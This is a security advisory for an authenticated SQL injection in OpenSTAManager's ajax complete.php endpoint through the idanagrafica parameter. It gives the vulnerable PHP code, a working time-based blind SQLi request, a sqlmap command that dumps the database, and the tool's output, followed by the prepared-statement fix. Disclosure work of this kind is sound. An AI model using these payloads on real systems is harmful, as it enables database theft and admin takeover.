PT-2026-6494 · Packagist · Devcode-It/Openstamanager

Publicado

2026-02-03

·

Atualizado

2026-02-03

CVSS v4.0

8.7

Alta

VetorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

A SQL Injection vulnerability exists in the ajax complete.php endpoint when handling the get sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.

Proof of Concept

Vulnerable Code

File: modules/anagrafiche/ajax/complete.php:28
php
case 'get sedi':
  $idanagrafica = get('idanagrafica');
  $q = "SELECT id, CONCAT WS( ' - ', nomesede, citta ) AS descrizione 
     FROM an sedi 
     WHERE idanagrafica='".$idanagrafica."' ...";
  $rs = $dbo->fetchArray($q);

Data Flow

  1. Source: $ GET['idanagrafica'] → get('idanagrafica')
  2. Vulnerable: User input concatenated directly into SQL query with single quotes
  3. Sink: $dbo->fetchArray($q) executes the malicious query

Exploit

Manual PoC (Time-based Blind SQLi):
http
GET /ajax complete.php?op=get sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
image
SQLMap Exploitation:
bash
sqlmap -u "http://localhost:8081/ajax complete.php?op=get sedi&idanagrafica=1*" 
 --cookie="PHPSESSID=<session>" 
 --dbms=MySQL 
 --technique=T 
 --level=3 
 --dump
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
image

Impact

  • Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
  • Privilege Escalation: Modification of zz users table to gain admin access
  • Data Integrity: Unauthorized modification or deletion of records
  • Potential RCE: Via SELECT ... INTO OUTFILE if file permissions allow

Affected Versions

  • OpenSTAManager: Verified in latest version (as of December 2025)
  • All versions using this endpoint are likely affected

Remediation

Replace direct concatenation with prepared statements:
Before:
php
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
After:
php
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

Credit

Discovered by: Łukasz Rybak

Correção

SQL injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-89

Identificadores relacionados

GHSA-W995-FF8H-RPPG

Produtos afetados

Devcode-It/Openstamanager